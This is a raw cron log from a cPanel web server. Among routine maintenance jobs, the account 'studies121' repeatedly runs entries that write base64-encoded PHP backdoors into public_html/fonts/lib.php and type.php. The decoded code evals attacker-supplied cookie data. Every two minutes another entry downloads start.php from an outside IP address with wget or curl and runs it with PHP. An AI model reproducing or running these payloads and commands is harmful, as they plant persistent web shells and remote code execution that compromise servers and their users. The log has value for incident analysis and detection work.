Sep 12 07:55:01 ip-184-168-122-23 CROND[22489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 07:55:01 ip-184-168-122-23 CROND[22490]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:56:02 ip-184-168-122-23 CROND[22596]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 07:56:02 ip-184-168-122-23 CROND[22598]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:56:02 ip-184-168-122-23 CROND[22600]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:56:02 ip-184-168-122-23 CROND[22599]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 07:56:02 ip-184-168-122-23 CROND[22601]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 07:57:01 ip-184-168-122-23 CROND[22712]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 07:57:01 ip-184-168-122-23 CROND[22714]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:57:01 ip-184-168-122-23 CROND[22715]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 07:57:01 ip-184-168-122-23 CROND[22716]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:58:01 ip-184-168-122-23 CROND[22796]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 07:58:01 ip-184-168-122-23 CROND[22798]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 07:58:01 ip-184-168-122-23 CROND[22799]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:58:01 ip-184-168-122-23 CROND[22800]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 07:58:01 ip-184-168-122-23 CROND[22801]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:59:01 ip-184-168-122-23 CROND[22971]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 07:59:01 ip-184-168-122-23 CROND[22972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:59:01 ip-184-168-122-23 CROND[22973]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 07:59:01 ip-184-168-122-23 CROND[22975]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:00:01 ip-184-168-122-23 CROND[23082]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 08:00:01 ip-184-168-122-23 CROND[23083]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 08:00:01 ip-184-168-122-23 CROND[23087]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 12 08:00:01 ip-184-168-122-23 CROND[23090]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 08:00:01 ip-184-168-122-23 CROND[23089]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 08:00:01 ip-184-168-122-23 CROND[23092]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:00:01 ip-184-168-122-23 CROND[23093]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:00:01 ip-184-168-122-23 CROND[23091]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 08:00:01 ip-184-168-122-23 CROND[23095]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 08:00:01 ip-184-168-122-23 CROND[23098]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/checkdbs)
Sep 12 08:01:01 ip-184-168-122-23 CROND[23194]: (root) CMD (run-parts /etc/cron.hourly)
Sep 12 08:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[23194]: starting 0anacron
Sep 12 08:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[23203]: finished 0anacron
Sep 12 08:01:01 ip-184-168-122-23 CROND[23204]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:01:01 ip-184-168-122-23 CROND[23205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 08:01:01 ip-184-168-122-23 CROND[23208]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 08:01:01 ip-184-168-122-23 CROND[23206]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:01:01 ip-184-168-122-23 CROND[23209]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 08:02:01 ip-184-168-122-23 CROND[23300]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 08:02:01 ip-184-168-122-23 CROND[23303]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:02:01 ip-184-168-122-23 CROND[23302]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:02:01 ip-184-168-122-23 CROND[23304]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 08:02:01 ip-184-168-122-23 CROND[23301]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 08:03:01 ip-184-168-122-23 CROND[23433]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 08:03:01 ip-184-168-122-23 CROND[23436]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 08:03:01 ip-184-168-122-23 CROND[23435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:03:01 ip-184-168-122-23 CROND[23437]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:04:01 ip-184-168-122-23 CROND[23627]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 08:04:01 ip-184-168-122-23 CROND[23629]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 08:04:01 ip-184-168-122-23 CROND[23631]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:04:01 ip-184-168-122-23 CROND[23633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 08:04:01 ip-184-168-122-23 CROND[23632]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:05:01 ip-184-168-122-23 CROND[23757]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 08:05:01 ip-184-168-122-23 CROND[23760]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 08:05:01 ip-184-168-122-23 CROND[23762]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 08:05:01 ip-184-168-122-23 CROND[23761]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 08:05:01 ip-184-168-122-23 CROND[23759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:05:01 ip-184-168-122-23 CROND[23764]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 08:05:01 ip-184-168-122-23 CROND[23763]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:06:01 ip-184-168-122-23 CROND[23873]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 08:06:01 ip-184-168-122-23 CROND[23875]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 08:06:01 ip-184-168-122-23 CROND[23877]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:06:01 ip-184-168-122-23 CROND[23876]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 08:06:01 ip-184-168-122-23 CROND[23878]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:07:01 ip-184-168-122-23 CROND[23990]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
